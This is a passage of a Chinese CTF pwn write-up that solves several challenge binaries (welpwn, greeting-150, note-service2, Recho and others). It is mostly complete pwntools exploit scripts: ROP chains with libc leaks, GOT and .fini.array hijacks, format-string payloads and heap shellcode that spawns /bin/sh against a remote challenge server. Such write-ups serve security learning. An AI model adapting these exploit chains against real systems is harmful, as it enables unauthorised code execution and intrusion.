0x00007fffffffd978+0x0038: 0x4141414141414141
0x00007fffffffd980+0x0040: 0x4141414141414141
0x00007fffffffd988+0x0048: 0x000000000040089e  →  <__libc_csu_init+94> pop r13
0x00007fffffffd990+0x0050: 0x0000000000000001
0x00007fffffffd998+0x0058: 0x0000000000000002
0x00007fffffffd9a0+0x0060: 0x0000000000000003
0x00007fffffffd9a8+0x0068: 0x00000000004008a3  →  <__libc_csu_init+99> pop rdi
0x00007fffffffd9b0+0x0070: 0x0000000000601018  →  0x00000000004005a6  →  0xffe0e90000000068 ("h"?)
0x00007fffffffd9b8+0x0078: 0x00000000004005a0  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a72]        # 0x601018 <puts@got.plt>
0x00007fffffffd9c0+0x0080: 0x00000000004007cd  →  <main+0> push rbp

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 1
context.log_level = "DEBUG"
pwn_file = './welpwn'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','59488')
#---------------------------------------------------------
#0x00000000004008a3 : pop rdi ; ret
#0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
_3pop_ret = 0x000000000040089e
pop_rdi_ret = 0x00000000004008a3
main_addr = 0x4007CD
payload = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
#payload = 'A'*0x18+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
 
if IS_LOCAL:
    gdb.attach(io,"break *0x400782\nc")
    pause()
 
sa("Welcome to RCTF\n",payload)
io.recvuntil('\x40')
puts_addr = u64(io.recvline()[:-1].ljust(8,'\x00'))
 
if IS_LOCAL:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    str_bin_sh = libc_base + next(libc.search('/bin/sh'))
else:
    libc=LibcSearcher('puts',puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
 
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
 
payload2 = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
if IS_LOCAL:
    sa("Welcome to RCTF\n",payload2)
else:
    se(payload2)
sconnect()

反应釜开关控制

简单题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './aaa'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','58023')
#---------------------------------------------------------
payload = 'A'*0x208+p64(0x4005F6)
rv()
sl(payload)
sconnect()

实时数据监测

简单的字符串格式化漏洞,先gdb调试出offset是12,然后直接用工具自动生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './data_monitor'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','50322')
#---------------------------------------------------------
offest = 12
target_addr = 0x804A048
value = 0x2223322
payload = fmtstr_payload(offest,{target_addr:value})
'''
if IS_LOCAL:
    gdb.attach(io,"break *0x8048824\nc")
    pause()
'''
sl(payload)
sconnect()

greeting-150

这个题目用到一个知识点.fini.array中的函数在main结束时被调用,所以需要修改其中的函数地址为_start,这样就可以完成攻击。攻击用到的system@plt和_start地址:

1
2
_start:            0x080484F0
system@plt:        0x08048490

由于.fini.array中原有的数据和_start高两位都一样,只需要修改后两位,就可以那么按照从小到大写入原则,按照如下顺序写入数据:

1
2
3
0x80F0    3
0x0804    1
0x8490    2

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import sys
from pwn import *
from LibcSearcher import LibcSearcher
 
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
 
context.log_level = "DEBUG"
pwn_file = './greeting-150'
elf = ELF(pwn_file)
 
if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
fini_array_addr = 0x08049934
strlen_got_lo = elf.got['strlen']
strlen_got_hi = elf.got['strlen']+2
payload = 'aa'+p32(strlen_got_hi)+p32(strlen_got_lo)+p32(fini_array_addr)+"%2020c%12$hn"+"%31884c%13$hn"+"%96c%14$hn"
 
if IS_LOCAL:
    gdb.attach(io,"break *0x804864F\nc")
    pause()
 
rv()
sl(payload)
rv()
sl("/bin/sh")
sconnect()

补充链接:详解64位静态编译程序的fini_array劫持及ROP攻击 https://www.freebuf.com/articles/system/226003.html

note-service2

嗯这题命中了我知识的盲点:数组索引越界。先看看保护措施:

1
2
3
4
5
6
7
8
9
10
dc@ubuntu:~/playground$ file ./note-service2
./note-service2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6c3a706907441fd73514dbca2d692e7a7c9139aa, stripped
dc@ubuntu:~/playground$ pwn checksec note-service2
[*] '/home/dc/playground/note-service2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

RWX有点显眼,第一次遇到这个记号。在程序中添加一个note之后用vmmap看下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /home/dc/playground/note-service2
0x0000555555755000 0x0000555555756000 0x0000000000001000 r-x /home/dc/playground/note-service2
0x0000555555756000 0x0000555555757000 0x0000000000002000 rwx /home/dc/playground/note-service2
0x0000555555757000 0x0000555555778000 0x0000000000000000 rwx [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rwx /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rwx
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd8000 0x00007ffff7fdb000 0x0000000000000000 rwx
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rwx /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

发现了heap可执行,其实这时候已经猜到可能是将shellcode放入堆中,但没想到如何劫持rip到堆上。这时候看了大佬的博客:https://blog.csdn.net/seaaseesa/article/details/103003167豁然开朗,原来是利用数组索引不受控制,把got表劫持了hh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
from pwn import *
from LibcSearcher import LibcSearcher
 
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
 
context.log_level = "DEBUG"
pwn_file = './note-service2'
elf = ELF(pwn_file)
 
if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
context(os='linux',arch='amd64'
def create(index,size,content): 
    sla('your choice>>','1'
    sla('index:',str(index)) 
    sla('size:',str(size)) 
    sa('content:',content) 
 
def delete(index): 
    sla('your choice>>','4'
    sla('index:',str(index)) 
 
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19'
code1= (asm('mov eax,0x3B') + '\xeb\x19'
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19'
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19'
code4 = (asm('syscall').ljust(7,'\x90')) 
 
create(0,8,'a'*7
create(1,8,code1) 
create(2,8,code2) 
create(3,8,code3) 
create(4,8,code4) 
 
delete(0)
 
create(-8,8,code0)
sla('your choice>>','/bin/sh')
sconnect()

secret_file

简单题目,不要跟着题目思路走,需要利用溢出替换hash值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
from pwn import *
from LibcSearcher import LibcSearcher
import hashlib
 
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
 
context.log_level = "DEBUG"
pwn_file = './secret_file'
elf = ELF(pwn_file)
 
if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
if IS_LOCAL:
    gdb.attach(io,"break strcpy\nbreak strcmp\nc")
    pause()
 
s = hashlib.sha256()    # Get the hash algorithm.
s.update("1"*256)    # Hash the data.
fake_hash = s.hexdigest()       # Get he hash value.
payload = '1'*256+'/bin/cat ./flag.txt'.ljust(0x1b,' ')+fake_hash
sl(payload)
rv()
rv()

Recho

题目代码比较简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char input[16]; // [rsp+0h] [rbp-40h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  int v6; // [rsp+38h] [rbp-8h]
  int len; // [rsp+3Ch] [rbp-4h]
 
  Init();
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, input, 0x10uLL) > 0 )
  {
    len = atoi(input);
    if ( len <= 15 )
      len = 16;
    v6 = read(0, buf, len);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

可以发现明显的栈溢出的漏洞,但是第二次循环时必须让read返回0才能顺利return,可以用这样的语句关闭流:

1
io.shutdown('write')

但之后都不能写入流了,除非重开程序。那么这就要求我们一次输入完成ROP利用链条。在程序中搜到的一些信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gef➤  disass read
Dump of assembler code for function read:
   0x00007ffff7b04350 <+0>:    cmp    DWORD PTR [rip+0x2d23e9],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
   0x00007ffff7b04357 <+7>:    jne    0x7ffff7b04369 <read+25>
   0x00007ffff7b04359 <+0>:    mov    eax,0x0
   0x00007ffff7b0435e <+5>:    syscall
 
.data:0000000000601058 flag            db 'flag',0
 
dc@ubuntu:~/playground$ ROPgadget --binary ./Recho --only "pop|ret"  | grep 'rax'
0x00000000004006fc : pop rax ; ret
 
dc@ubuntu:~/playground$ ROPgadget --binary ./Recho --only "pop|ret"  | grep 'rdi'
0x00000000004008a3 : pop rdi ; ret
 
 
dc@ubuntu:~/playground$ ROPgadget --binary ./Recho
Gadgets information
//....
0x000000000040070d : add byte ptr [rdi], al ; ret                                               《-----------------use it attack got['alarm']

这里参考了大佬的wp:https://blog.csdn.net/seaaseesa/article/details/102992887
利用思路总结如下:

  1. 利用Gadget配合修改alarm函数的got表项,令其指向alarm+5,也就是syscall。
  2. 有了syscall,传入对应的eax,执行open操作打开flag文件。
  3. 接下来用read,write直接将flag数据输出。

优化过的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys
from pwn import *
from LibcSearcher import LibcSearcher
 
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
 
context.log_level = "DEBUG"
pwn_file = './Recho'
elf = ELF(pwn_file)
 
if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
flag_str = 0x0000000000601058
pop_rax_ret = 0x00000000004006fc
pop_rdi_ret = 0x00000000004008a3
save_flag_addr = 0x0000000000601060
add_ptr_rdi_al = 0x000000000040070d
sysenter_addr = alarm_addr = elf.got['alarm']
 
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0x0)     # rbx must be 0x0
    payload += p64(0x1)     # rbp must be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edx    arg1
    payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]
    payload += 'A' * 56     # junk 6*8+8=56
    return payload
 
p1 = 0x40089A
p2 = 0x400880
payload = 'A'*0x38+p64(pop_rax_ret)+p64(5)+p64(pop_rdi_ret)+p64(alarm_addr)+p64(add_ptr_rdi_al) \
+ p64(pop_rax_ret)+p64(2)+com_gadget(p1,p2,sysenter_addr,flag_str,0) \
+ com_gadget(p1,p2,elf.got['read'],3,save_flag_addr,50) \
+ com_gadget(p1,p2,elf.got['write'],1,save_flag_addr,50)
 
if IS_LOCAL:
    gdb.attach(io,"break *0x400889\nc")
    pause()
 
rv()
se(str(len(payload)))
se(payload)
rv()
io.shutdown('write')
print(rv())

参考文章

  1. 攻防世界PWN之Recho题解 https://blog.csdn.net/seaaseesa/article/details/102992887
  2. 攻防世界PWN之note-service2题解 https://blog.csdn.net/seaaseesa/article/details/103003167
  3. 攻防世界 Pwn 进阶 第一页 https://blog.csdn.net/yongbaoii/article/details/109059630
  4. CTF-ALL-IN-ONE 四、技巧篇 https://firmianay.gitbook.io/ctf-all-in-one/4_tips
  5. 详解64位静态编译程序的fini_array劫持及ROP攻击 https://www.freebuf.com/articles/system/226003.html

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

最后于 2021-6-12 09:37 被顾言庭编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回